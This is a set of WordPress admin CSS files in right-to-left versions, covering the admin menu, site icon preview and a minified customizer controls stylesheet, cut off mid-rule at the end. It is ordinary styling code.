#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
	border-left-color: #2c3338;
}

#adminmenu li.menu-top:hover .wp-menu-image img,
#adminmenu li.wp-has-current-submenu .wp-menu-image img {
	opacity: 1;
	filter: alpha(opacity=100);
}

#adminmenu li.wp-menu-separator {
	height: 5px;
	padding: 0;
	margin: 0 0 6px;
	cursor: inherit;
}

/* @todo: is this even needed given that it's nested beneath the above li.wp-menu-separator? */
#adminmenu div.separator {
	height: 2px;
	padding: 0;
}

#adminmenu .wp-submenu .wp-submenu-head {
	color: #fff;
	font-weight: 400;
	font-size: 14px;
	padding: 5px 11px 5px 4px;
	margin: -7px -5px 4px 0;
	border-width: 3px 5px 3px 0;
	border-style: solid;
	border-color: transparent;
}

#adminmenu li.current,
.folded #adminmenu li.wp-menu-open {
	border: 0 none;
}

/* @todo: consider to use a single rule for these counters and the list table comments counters. */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
	display: inline-block;
	vertical-align: top;
	box-sizing: border-box;
	margin: 1px 2px -1px 0;
	padding: 0 5px;
	min-width: 18px;
	height: 18px;
	border-radius: 9px;
	background-color: #d63638;
	color: #fff;
	font-size: 11px;
	line-height: 1.6;
	text-align: center;
	z-index: 26;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins {
	background-color: #d63638;
	color: #fff;
}

#adminmenu li span.count-0 {
	display: none;
}

#collapse-button {
	display: block;
	width: 100%;
	height: 34px;
	margin: 0;
	border: none;
	padding: 0;
	position: relative;
	overflow: visible;
	background: none;
	color: #a7aaad;
	cursor: pointer;
}

#collapse-button:hover {
	color: #72aee6;
}

#collapse-button:focus {
	color: #72aee6;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
	outline-offset: -1px;
}

#collapse-button .collapse-button-icon,
#collapse-button .collapse-button-label {
	/* absolutely positioned to avoid 1px shift in IE when button is pressed */
	display: block;
	position: absolute;
	top: 0;
	right: 0;
}

#collapse-button .collapse-button-label {
	top: 8px;
}

#collapse-button .collapse-button-icon {
	width: 36px;
	height: 34px;
}

#collapse-button .collapse-button-label {
	padding: 0 36px 0 0;
}

.folded #collapse-button .collapse-button-label {
	display: none;
}

#collapse-button .collapse-button-icon:after {
	content: "\f148";
	display: block;
	position: relative;
	top: 7px;
	text-align: center;
	font: normal 20px/1 dashicons !important;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* rtl:ignore */
.folded #collapse-button .collapse-button-icon:after,
.rtl #collapse-button .collapse-button-icon:after {
	transform: rotate(180deg);
}

.rtl.folded #collapse-button .collapse-button-icon:after {
	transform: none;
}

#collapse-button .collapse-button-icon:after,
#collapse-button .collapse-button-label {
	transition: all .1s ease-in-out;
}

/**
 * Toolbar menu toggle
 */
li#wp-admin-bar-menu-toggle {
	display: none;
}

/* Hide-if-customize for items we can't add classes to */
.customize-support #menu-appearance a[href="themes.php?page=custom-header"],
.customize-support #menu-appearance a[href="themes.php?page=custom-background"] {
	display: none;
}

/* Auto-folding of the admin menu */
@media only screen and (max-width: 960px) {
	.auto-fold #wpcontent,
	.auto-fold #wpfooter {
		margin-right: 36px;
	}

	.auto-fold #adminmenuback,
	.auto-fold #adminmenuwrap,
	.auto-fold #adminmenu,
	.auto-fold #adminmenu li.menu-top {
		width: 36px;
	}

	.auto-fold #adminmenu .wp-submenu.sub-open,
	.auto-fold #adminmenu .opensub .wp-submenu,
	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
	.auto-fold #adminmenu .wp-has-current-submenu.opensub .wp-submenu,
	.auto-fold #adminmenu a.menu-top:focus + .wp-submenu,
	.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu {
		top: 0;
		right: 36px;
	}

	.auto-fold #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu {
		position: absolute;
		top: -1000em;
		margin-left: -1px;
		padding: 7px 0 8px;
		z-index: 9999;
	}

	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu {
		min-width: 150px;
		width: auto;
	}

	.auto-fold #adminmenu .wp-has-current-submenu li > a {
		padding-left: 16px;
		padding-right: 14px;
	}


	.auto-fold #adminmenu li.menu-top .wp-submenu > li > a {
		padding-right: 12px;
	}

	.auto-fold #adminmenu .wp-menu-name {
		position: absolute;
		right: -999px;
	}

	.auto-fold #adminmenu .wp-submenu-head {
		display: block;
	}

	.auto-fold #adminmenu div.wp-menu-image {
		height: 30px;
		width: 34px;
		position: absolute;
		z-index: 25;
	}

	.auto-fold #adminmenu a.menu-top {
		min-height: 34px;
	}

	.auto-fold #adminmenu li.wp-menu-open {
		border: 0 none;
	}

	.auto-fold #adminmenu .wp-has-current-submenu.menu-top-last {
		margin-bottom: 0;
	}

	.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after,
	.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after {
		display: none;
	}

	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after,
	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
		border-width: 4px;
		margin-top: -4px;
		top: 16px;
	}

	.auto-fold ul#adminmenu a.wp-has-current-submenu:after,
	.auto-fold ul#adminmenu > li a.current:after {
		border-width: 4px;
		margin-top: -4px;
	}

	.auto-fold #adminmenu li.menu-top:hover,
	.auto-fold #adminmenu li.opensub > a.menu-top,
	.auto-fold #adminmenu li > a.menu-top:focus {
		z-index: 10000;
	}

	.auto-fold #collapse-menu .collapse-button-label {
		display: none;
	}

	/* rtl:ignore */
	.auto-fold #collapse-button .collapse-button-icon:after {
		transform: rotate(180deg);
	}

	.rtl.auto-fold #collapse-button .collapse-button-icon:after {
		transform: none;
	}

}

@media screen and (max-width: 782px) {
	.auto-fold #wpcontent {
		position: relative;
		margin-right: 0;
		padding-right: 10px;
	}

	.sticky-menu #adminmenuwrap {
		position: relative;
		z-index: auto;
		top: 0;
	}

	/* Sidebar Adjustments */
	.auto-fold #adminmenu,
	.auto-fold #adminmenuback,
	.auto-fold #adminmenuwrap {
		position: absolute;
		width: 190px;
		z-index: 100;
	}

	.auto-fold #adminmenuback {
		position: fixed;
	}

	.auto-fold #adminmenuback,
	.auto-fold #adminmenuwrap {
		display: none;
	}

	.auto-fold .wp-responsive-open #adminmenuback,
	.auto-fold .wp-responsive-open #adminmenuwrap {
		display: block;
	}

	.auto-fold #adminmenu li.menu-top {
		width: 100%;
	}

	/* Resize the admin menu items to a comfortable touch size */
	.auto-fold #adminmenu li a {
		font-size: 16px;
		padding: 5px;
	}

	.auto-fold #adminmenu li.menu-top .wp-submenu > li > a {
		padding: 10px 20px 10px 10px;
	}

	/* Restore the menu names */
	.auto-fold #adminmenu .wp-menu-name {
		position: static;
	}

	/* Switch the arrow side */
	.auto-fold ul#adminmenu a.wp-has-current-submenu:after,
	.auto-fold ul#adminmenu > li.current > a.current:after {
		border-width: 8px;
		margin-top: -8px;
	}

	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after,
	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
		display: none;
	}

	/* Make the submenus appear correctly when tapped. */
	#adminmenu .wp-submenu {
		position: relative;
		display: none;
	}

	.auto-fold #adminmenu .selected .wp-submenu,
	.auto-fold #adminmenu .wp-menu-open .wp-submenu {
		position: relative;
		display: block;
		top: 0;
		right: -1px;
		box-shadow: none;
	}

	.auto-fold #adminmenu .selected .wp-submenu:after,
	.auto-fold #adminmenu .wp-menu-open .wp-submenu:after {
		display: none;
	}

	.auto-fold #adminmenu .opensub .wp-submenu {
		display: none;
	}

	.auto-fold #adminmenu .selected .wp-submenu {
		display: block;
	}

	.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after,
	.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after {
		display: block;
	}

	.auto-fold #adminmenu a.menu-top:focus + .wp-submenu,
	.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu {
		position: relative;
		right: -1px;
		left: 0;
		top: 0;
	}

	#adminmenu .wp-not-current-submenu .wp-submenu,
	.folded #adminmenu .wp-has-current-submenu .wp-submenu {
		border-right: none;
	}

	/* Remove submenu headers and adjust sub meu*/
	#adminmenu .wp-submenu .wp-submenu-head {
		display: none;
	}

	/* Toolbar menu toggle */
	#wp-responsive-toggle {
		position: fixed;
		top: 5px;
		right: 4px;
		padding-left: 10px;
		z-index: 99999;
		border: none;
		box-sizing: border-box;
	}

	#wpadminbar #wp-admin-bar-menu-toggle a {
		display: block;
		padding: 0;
		overflow: hidden;
		outline: none;
		text-decoration: none;
		border: 1px solid transparent;
		background: none;
		height: 44px;
		margin-right: -1px;
	}

	.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
		background: #2c3338;
	}

	li#wp-admin-bar-menu-toggle {
		display: block;
	}

	#wpadminbar #wp-admin-bar-menu-toggle a:hover {
		border: 1px solid transparent;
	}

	#wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
		content: "\f228";
		display: inline-block;
		float: right;
		font: normal 40px/45px dashicons;
		vertical-align: middle;
		outline: none;
		margin: 0;
		-webkit-font-smoothing: antialiased;
		-moz-osx-font-smoothing: grayscale;
		height: 44px;
		width: 50px;
		padding: 0;
		border: none;
		text-align: center;
		text-decoration: none;
		box-sizing: border-box;
	}

	.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
		color: #72aee6;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	#adminmenuwrap,
	#adminmenuback {
		display: none;
	}

	.wp-responsive-open #adminmenuwrap,
	.wp-responsive-open #adminmenuback {
		display: block;
	}

	.auto-fold #adminmenu {
		top: 46px;
	}
}
/*! This file is auto-generated */
/*------------------------------------------------------------------------------
  28.0 - Site Icon
------------------------------------------------------------------------------*/

.site-icon-preview .favicon-preview {
	margin: 5px 0 20px;
	overflow: hidden;
	position: relative;
	max-width: 180px;
}

.site-icon-preview .favicon,
.site-icon-preview .browser-title {
	height: 16px;
	right: 88px;
	overflow: hidden;
	position: absolute;
	top: 16px;
}

.site-icon-preview .favicon {
	width: 16px;
}

.site-icon-preview .browser-title {
	right: 109px;
	width: 72px;
	white-space: nowrap;
}

.site-icon-preview .app-icon-preview {
	background-color: #000;
	border-radius: 16px;
	height: 64px;
	overflow: hidden;
	width: 64px;
	margin-top: 5px;
}

/* rtl:ignore */
.site-icon-preview .favicon,
.site-icon-preview .app-icon-preview {
	direction: ltr;
}

.customize-control-site_icon .favicon-preview {
	float: right;
	margin-left: 12px;
	margin-bottom: 0;
}

.customize-control-site_icon .app-icon-preview {
	margin-top: 9px;
}

.site-icon-section button.reset {
	color: #b32d2e;
	text-decoration: none;
	border-color: transparent;
	box-shadow: none;
	background: transparent;
}

.site-icon-section button.reset:focus,
.site-icon-section button.reset:hover {
	background: #b32d2e;
	color: #fff;
	border-color: #b32d2e;
	box-shadow: 0 0 0 1px #b32d2e;
}

.site-icon-section .action-buttons {
	display: flex;
	flex-wrap: wrap;
	gap: 10px;
}
/*! This file is auto-generated */
body{overflow:hidden;-webkit-text-size-adjust:100%}.customize-controls-close,.widget-control-actions a{text-decoration:none}#customize-controls h3{font-size:14px}#customize-controls img{max-width:100%}#customize-controls .submit{text-align:center}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked{background-color:rgba(0,0,0,.7);padding:25px}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message{margin-right:auto;margin-left:auto;max-width:366px;min-height:64px;width:auto;padding:25px 109px 25px 25px;position:relative;background:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);line-height:1.5;overflow-y:auto;text-align:right;top:calc(50% - 100px)}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .currently-editing{margin-top:0}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .action-buttons{margin-bottom:0}.customize-changeset-locked-avatar{width:64px;position:absolute;right:25px;top:25px}.wp-core-ui.wp-customizer .customize-changeset-locked-message a.button{margin-left:10px;margin-top:0}#customize-controls .description{color:#50575e}#customize-save-button-wrapper{float:left;margin-top:9px}body:not(.ready) #customize-save-button-wrapper .save{visibility:hidden}#customize-save-button-wrapper .save{float:right;border-radius:3px;box-shadow:none;margin-top:0}#customize-save-button-wrapper .save:focus,#publish-settings:focus{box-shadow:0 1px 0 #2271b1,0 0 2px 1px #72aee6}#customize-save-button-wrapper .save.has-next-sibling{border-radius:0 3px 3px 0}#customize-sidebar-outer-content{position:absolute;top:0;bottom:0;right:0;visibility:hidden;overflow-x:hidden;overflow-y:auto;width:100%;margin:0;z-index:-1;background:#f0f0f1;transition:right .18s;border-left:1px solid #dcdcde;border-right:1px solid #dcdcde;height:100%}@media (prefers-reduced-motion:reduce){#customize-sidebar-outer-content{transition:none}}#customize-theme-controls .control-section-outer{display:none!important}#customize-outer-theme-controls .accordion-section-content{padding:12px}#customize-outer-theme-controls .accordion-section-content.open{display:block}.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{visibility:visible;right:100%;transition:right .18s}@media (prefers-reduced-motion:reduce){.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{transition:none}}.customize-outer-pane-parent{margin:0}.outer-section-open .wp-full-overlay.expanded .wp-full-overlay-main{right:300px;opacity:.4}.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-menu-items .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main{right:64%}#customize-outer-theme-controls li.notice{padding-top:8px;padding-bottom:8px;margin-right:0;margin-bottom:10px}#publish-settings{text-indent:0;border-radius:3px 0 0 3px;padding-right:0;padding-left:0;box-shadow:none;font-size:14px;width:30px;float:right;transform:none;margin-top:0;line-height:2}body.trashing #customize-save-button-wrapper .save,body.trashing #publish-settings,body:not(.ready) #publish-settings{display:none}#customize-header-actions .spinner{margin-top:13px;margin-left:4px}.saving #customize-header-actions .spinner,.trashing #customize-header-actions .spinner{visibility:visible}#customize-header-actions{border-bottom:1px solid #dcdcde}#customize-controls .wp-full-overlay-sidebar-content{overflow-y:auto;overflow-x:hidden}.outer-section-open #customize-controls .wp-full-overlay-sidebar-content{background:#f0f0f1}#customize-controls .customize-info{border:none;border-bottom:1px solid #dcdcde;margin-bottom:15px}#customize-control-changeset_preview_link input,#customize-control-changeset_status .customize-inside-control-row{background-color:#fff;border-bottom:1px solid #dcdcde;box-sizing:content-box;width:100%;margin-right:-12px;padding-right:12px;padding-left:12px}#customize-control-trash_changeset{margin-top:20px}#customize-control-trash_changeset .button-link{position:relative;padding-right:24px;display:inline-block}#customize-control-trash_changeset .button-link:before{content:"\f182";font:normal 22px dashicons;text-decoration:none;position:absolute;right:0;top:-2px}#customize-controls .date-input:invalid{border-color:#d63638}#customize-control-changeset_status .customize-inside-control-row{padding-top:10px;padding-bottom:10px;font-weight:500}#customize-control-changeset_status .customize-inside-control-row:first-of-type{border-top:1px solid #dcdcde}#customize-control-changeset_status .customize-control-title{margin-bottom:6px}#customize-control-changeset_status input{margin-right:0}#customize-control-changeset_preview_link{position:relative;display:block}.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button{margin:0;position:absolute;bottom:9px;left:0}.preview-link-wrapper{position:relative}.customize-copy-preview-link:after,.customize-copy-preview-link:before{content:"";height:28px;position:absolute;background:#fff;top:-1px}.customize-copy-preview-link:before{right:-10px;width:9px;opacity:.75}.customize-copy-preview-link:after{right:-5px;width:4px;opacity:.8}#customize-control-changeset_preview_link input{line-height:2.85714286;border-top:1px solid #dcdcde;border-right:none;border-left:none;text-indent:-999px;color:#fff;min-height:40px}#customize-control-changeset_preview_link label{position:relative;display:block}#customize-control-changeset_preview_link a{display:inline-block;position:absolute;white-space:nowrap;overflow:hidden;width:90%;bottom:14px;font-size:14px;text-decoration:none}#customize-control-changeset_preview_link a.disabled,#customize-control-changeset_preview_link a.disabled:active,#customize-control-changeset_preview_link a.disabled:focus,#customize-control-changeset_preview_link a.disabled:visited{color:#000;opacity:.4;cursor:default;outline:0;box-shadow:none}#sub-accordion-section-publish_settings .customize-section-description-container{display:none}#customize-controls .customize-info.section-meta{margin-bottom:15px}.customize-control-date_time .customize-control-description+.date-time-fields.includes-time{margin-top:10px}.customize-control.customize-control-date_time .date-time-fields .date-input.day{margin-left:0}.date-time-fields .date-input.month{width:auto;margin:0}.date-time-fields .date-input.day,.date-time-fields .date-input.hour,.date-time-fields .date-input.minute{width:46px}.date-time-fields .date-input.year{width:65px}.date-time-fields .date-input.meridian{width:auto;margin:0}.date-time-fields .time-row{margin-top:12px}#customize-control-changeset_preview_link{margin-top:6px}#customize-control-changeset_status{margin-bottom:0;padding-bottom:0}#customize-control-changeset_scheduled_date{box-sizing:content-box;width:100%;margin-right:-12px;padding:12px;background:#fff;border-bottom:1px solid #dcdcde;margin-bottom:0}#customize-control-changeset_scheduled_date .customize-control-description{font-style:normal}#customize-controls .customize-info.is-in-view,#customize-controls .customize-section-title.is-in-view{position:absolute;z-index:9;width:100%;box-shadow:0 1px 0 rgba(0,0,0,.1)}#customize-controls .customize-section-title.is-in-view{margin-top:0}#customize-controls .customize-info.is-in-view+.accordion-section{margin-top:15px}#customize-controls .customize-info.is-sticky,#customize-controls .customize-section-title.is-sticky{position:fixed;top:46px}#customize-controls .customize-info .accordion-section-title{background:#fff;color:#50575e;border-right:none;border-left:none;border-bottom:none;cursor:default}#customize-controls .customize-info .accordion-section-title:focus:after,#customize-controls .customize-info .accordion-section-title:hover:after,#customize-controls .customize-info.open .accordion-section-title:after{color:#2c3338}#customize-controls .customize-info .accordion-section-title:after{display:none}#customize-controls .customize-info .preview-notice{font-size:13px;line-height:1.9}#customize-controls .customize-info .panel-title,#customize-controls .customize-pane-child .customize-section-title h3,#customize-controls .customize-pane-child h3.customize-section-title,#customize-outer-theme-controls .customize-pane-child .customize-section-title h3,#customize-outer-theme-controls .customize-pane-child h3.customize-section-title{font-size:20px;font-weight:200;line-height:26px;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#customize-controls .customize-section-title span.customize-action{overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#customize-controls .customize-info .customize-help-toggle{position:absolute;top:4px;left:1px;padding:20px 10px 10px 20px;width:20px;height:20px;cursor:pointer;box-shadow:none;background:0 0;color:#50575e;border:none}#customize-controls .customize-info .customize-help-toggle:before{position:absolute;top:5px;right:6px}#customize-controls .customize-info .customize-help-toggle:focus,#customize-controls .customize-info .customize-help-toggle:hover,#customize-controls .customize-info.open .customize-help-toggle{color:#2271b1}#customize-controls .customize-info .customize-panel-description,#customize-controls .customize-info .customize-section-description,#customize-controls .no-widget-areas-rendered-notice,#customize-outer-theme-controls .customize-info .customize-section-description{color:#50575e;display:none;background:#fff;padding:12px 15px;border-top:1px solid #dcdcde}#customize-controls .customize-info .customize-panel-description.open+.no-widget-areas-rendered-notice{border-top:none}.no-widget-areas-rendered-notice{font-style:italic}.no-widget-areas-rendered-notice p:first-child{margin-top:0}.no-widget-areas-rendered-notice p:last-child{margin-bottom:0}#customize-controls .customize-info .customize-section-description{margin-bottom:15px}#customize-controls .customize-info .customize-panel-description p:first-child,#customize-controls .customize-info .customize-section-description p:first-child{margin-top:0}#customize-controls .customize-info .customize-panel-description p:last-child,#customize-controls .customize-info .customize-section-description p:last-child{margin-bottom:0}#customize-controls .current-panel .control-section>h3.accordion-section-title{padding-left:30px}#customize-outer-theme-controls .control-section,#customize-theme-controls .control-section{border:none}#customize-outer-theme-controls .accordion-section-title,#customize-theme-controls .accordion-section-title{color:#50575e;background-color:#fff;border-bottom:1px solid #dcdcde;border-right:4px solid #fff;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}@media (prefers-reduced-motion:reduce){#customize-outer-theme-controls .accordion-section-title,#customize-theme-controls .accordion-section-title{transition:none}}#customize-controls #customize-theme-controls .customize-themes-panel .accordion-section-title{color:#50575e;background-color:#fff;border-right:4px solid #fff}#customize-outer-theme-controls .accordion-section-title:after,#customize-theme-controls .accordion-section-title:after{content:"\f341";color:#a7aaad}#customize-outer-theme-controls .accordion-section-content,#customize-theme-controls .accordion-section-content{color:#50575e;background:0 0}#customize-controls .control-section .accordion-section-title:focus,#customize-controls .control-section .accordion-section-title:hover,#customize-controls .control-section.open .accordion-section-title,#customize-controls .control-section:hover>.accordion-section-title{color:#2271b1;background:#f6f7f7;border-right-color:#2271b1}#accordion-section-themes+.control-section{border-top:1px solid #dcdcde}.js .control-section .accordion-section-title:focus,.js .control-section .accordion-section-title:hover,.js .control-section.open .accordion-section-title,.js .control-section:hover .accordion-section-title{background:#f6f7f7}#customize-outer-theme-controls .control-section .accordion-section-title:focus:after,#customize-outer-theme-controls .control-section .accordion-section-title:hover:after,#customize-outer-theme-controls .control-section.open .accordion-section-title:after,#customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,#customize-theme-controls .control-section .accordion-section-title:focus:after,#customize-theme-controls .control-section .accordion-section-title:hover:after,#customize-theme-controls .control-section.open .accordion-section-title:after,#customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#2271b1}#customize-theme-controls .control-section.open{border-bottom:1px solid #f0f0f1}#customize-outer-theme-controls .control-section.open .accordion-section-title,#customize-theme-controls .control-section.open .accordion-section-title{border-bottom-color:#f0f0f1!important}#customize-theme-controls .control-section:last-of-type.open,#customize-theme-controls .control-section:last-of-type>.accordion-section-title{border-bottom-color:#dcdcde}#customize-theme-controls .control-panel-content:not(.control-panel-nav_menus) .control-section:nth-child(2),#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu,#customize-theme-controls .control-section-nav_menu_locations .accordion-section-title{border-top:1px solid #dcdcde}#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu+.control-section-nav_menu{border-top:none}#customize-theme-controls>ul{margin:0}#customize-theme-controls .accordion-section-content{position:absolute;top:0;right:100%;width:100%;margin:0;padding:12px;box-sizing:border-box}#customize-info,#customize-theme-controls .customize-pane-child,#customize-theme-controls .customize-pane-parent{overflow:visible;width:100%;margin:0;padding:0;box-sizing:border-box;transition:.18s transform cubic-bezier(.645, .045, .355, 1)}@media (prefers-reduced-motion:reduce){#customize-info,#customize-theme-controls .customize-pane-child,#customize-theme-controls .customize-pane-parent{transition:none}}#customize-theme-controls .customize-pane-child.skip-transition{transition:none}#customize-info,#customize-theme-controls .customize-pane-parent{position:relative;visibility:visible;height:auto;max-height:none;overflow:auto;transform:none}#customize-theme-controls .customize-pane-child{position:absolute;top:0;right:0;visibility:hidden;height:0;max-height:none;overflow:hidden;transform:translateX(-100%)}#customize-theme-controls .customize-pane-child.current-panel,#customize-theme-controls .customize-pane-child.open{transform:none}.in-sub-panel #customize-info,.in-sub-panel #customize-theme-controls .customize-pane-parent,.in-sub-panel.section-open #customize-theme-controls .customize-pane-child.current-panel,.section-open #customize-info,.section-open #customize-theme-controls .customize-pane-parent{visibility:hidden;height:0;overflow:hidden;transform:translateX(100%)}#customize-theme-controls .customize-pane-child.busy,#customize-theme-controls .customize-pane-child.current-panel,#customize-theme-controls .customize-pane-child.open,.busy.section-open.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel,.in-sub-panel #customize-info.busy,.in-sub-panel #customize-theme-controls .customize-pane-parent.busy,.section-open #customize-info.busy,.section-open #customize-theme-controls .customize-pane-parent.busy{visibility:visible;height:auto;overflow:auto}#customize-theme-controls .customize-pane-child.accordion-section-content,#customize-theme-controls .customize-pane-child.accordion-sub-container{display:block;overflow-x:hidden}#customize-theme-controls .customize-pane-child.accordion-section-content{padding:12px}#customize-theme-controls .customize-pane-child.menu li{position:static}.control-section-nav_menu .customize-section-description-container,.control-section-new_menu .customize-section-description-container,.customize-section-description-container{margin-bottom:15px}.control-section-nav_menu .customize-control,.control-section-new_menu .customize-control{margin-bottom:0}.customize-section-title{margin:-12px -12px 0;border-bottom:1px solid #dcdcde;background:#fff}div.customize-section-description{margin-top:22px}.customize-info div.customize-section-description{margin-top:0}div.customize-section-description p:first-child{margin-top:0}div.customize-section-description p:last-child{margin-bottom:0}#customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child{border-bottom:1px solid #dcdcde;padding:12px}.ios #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child{padding:12px 12px 13px}.customize-section-title h3,h3.customize-section-title{padding:10px 14px 12px 10px;margin:0;line-height:21px;color:#50575e}.accordion-sub-container.control-panel-content{display:none;position:absolute;top:0;width:100%}.accordion-sub-container.control-panel-content.busy{display:block}.current-panel .accordion-sub-container.control-panel-content{width:100%}.customize-controls-close{display:block;position:absolute;top:0;right:0;width:45px;height:41px;padding:0 0 0 2px;background:#f0f0f1;border:none;border-top:4px solid #f0f0f1;border-left:1px solid #dcdcde;color:#3c434a;text-align:right;cursor:pointer;transition:color .15s ease-in-out,border-color .15s ease-in-out,background .15s ease-in-out;box-sizing:content-box}.customize-panel-back,.customize-section-back{display:block;float:right;width:48px;height:71px;padding:0 0 0 24px;margin:0;background:#fff;border:none;border-left:1px solid #dcdcde;border-right:4px solid #fff;box-shadow:none;cursor:pointer;transition:color .15s ease-in-out,border-color .15s ease-in-out,background .15s ease-in-out}.customize-section-back{height:74px}.ios .customize-panel-back{display:none}.ios .expanded.in-sub-panel .customize-panel-back{display:block}#customize-controls .panel-meta.customize-info .accordion-section-title{margin-right:48px;border-right:none}#customize-controls .cannot-expand:hover .accordion-section-title,#customize-controls .panel-meta.customize-info .accordion-section-title:hover{background:#fff;color:#50575e;border-right-color:#fff}.customize-controls-close:focus,.customize-controls-close:hover,.customize-controls-preview-toggle:focus,.customize-controls-preview-toggle:hover{background:#fff;color:#2271b1;border-top-color:#2271b1;box-shadow:none;outline:1px solid transparent}#customize-theme-controls .accordion-section-title:focus .customize-action{outline:1px solid transparent;outline-offset:1px}.customize-panel-back:focus,.customize-panel-back:hover,.customize-section-back:focus,.customize-section-back:hover{color:#2271b1;background:#f6f7f7;border-right-color:#2271b1;box-shadow:none;outline:2px solid transparent;outline-offset:-2px}.customize-controls-close:before{font:normal 22px/45px dashicons;content:"\f335";position:relative;top:-3px;right:13px}.customize-panel-back:before,.customize-section-back:before{font:normal 20px/72px dashicons;content:"\f345";position:relative;right:9px}.wp-full-overlay-sidebar .wp-full-overlay-header{background-color:#f0f0f1;transition:padding ease-in-out .18s}.in-sub-panel .wp-full-overlay-sidebar .wp-full-overlay-header{padding-right:62px}p.customize-section-description{font-style:normal;margin-top:22px;margin-bottom:0}.customize-section-description ul{margin-right:1em}.customize-section-description ul>li{list-style:disc}.section-description-buttons{text-align:left}.customize-control{width:100%;float:right;clear:both;margin-bottom:12px}.customize-control input[type=email],.customize-control input[type=number],.customize-control input[type=password],.customize-control input[type=range],.customize-control input[type=search],.customize-control input[type=tel],.customize-control input[type=text],.customize-control input[type=url]{width:100%;margin:0}.customize-control-hidden{margin:0}.customize-control-textarea textarea{width:100%;resize:vertical}.customize-control select{width:100%}.customize-control select[multiple]{height:auto}.customize-control-title{display:block;font-size:14px;line-height:1.75;font-weight:600;margin-bottom:4px}.customize-control-description{display:block;font-style:italic;line-height:1.4;margin-top:0;margin-bottom:5px}.customize-section-description a.external-link:after{font:16px/11px dashicons;content:"\f504";top:3px;position:relative;padding-right:3px;display:inline-block;text-decoration:none}.customize-control-color .color-picker,.customize-control-upload div{line-height:28px}.customize-control .customize-inside-control-row{line-height:1.6;display:block;margin-right:24px;padding-top:6px;padding-bottom:6px}.customize-control-checkbox input,.customize-control-nav_menu_auto_add input,.customize-control-radio input{margin-left:4px;margin-right:-24px}.customize-control-radio{padding:5px 0 10px}.customize-control-radio .customize-control-title{margin-bottom:0;line-height:1.6}.customize-control-radio .customize-control-title+.customize-control-description{margin-top:7px}.customize-control-checkbox label,.customize-control-radio label{vertical-align:top}.customize-control .attachment-thumb.type-icon{float:right;margin:10px;width:auto}.customize-control .attachment-title{font-weight:600;margin:0;padding:5px 10px}.customize-control .attachment-meta{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;margin:0;padding:0 10px}.customize-control .attachment-meta-title{padding-top:7px}.customize-control .thumbnail-image,.customize-control .wp-media-wrapper.wp-video,.customize-control-header .current{line-height:0}.customize-control-site_icon .favicon-preview .browser-preview{vertical-align:top}.customize-control .thumbnail-image img{cursor:pointer}#customize-controls .thumbnail-audio .thumbnail{max-width:64px;max-height:64px;margin:10px;float:right}#available-menu-items .accordion-section-content .new-content-item,.customize-control-dropdown-pages .new-content-item{width:calc(100% - 30px);padding:8px 15px;position:absolute;bottom:0;z-index:10;background:#f0f0f1;display:flex}.customize-control-dropdown-pages .new-content-item{width:100%;padding:5px 1px 5px 0;position:relative}#available-menu-items .new-content-item .create-item-input,.customize-control-dropdown-pages .new-content-item .create-item-input{flex-grow:10}#available-menu-items .new-content-item .add-content,.customize-control-dropdown-pages .new-content-item .add-content{margin:2px 6px 2px 0;flex-grow:1}.customize-control-dropdown-pages .new-content-item .create-item-input.invalid{border:1px solid #d63638}.customize-control-dropdown-pages .add-new-toggle{margin-right:1px;font-weight:600;line-height:2.2}#customize-preview iframe{width:100%;height:100%;position:absolute}#customize-preview 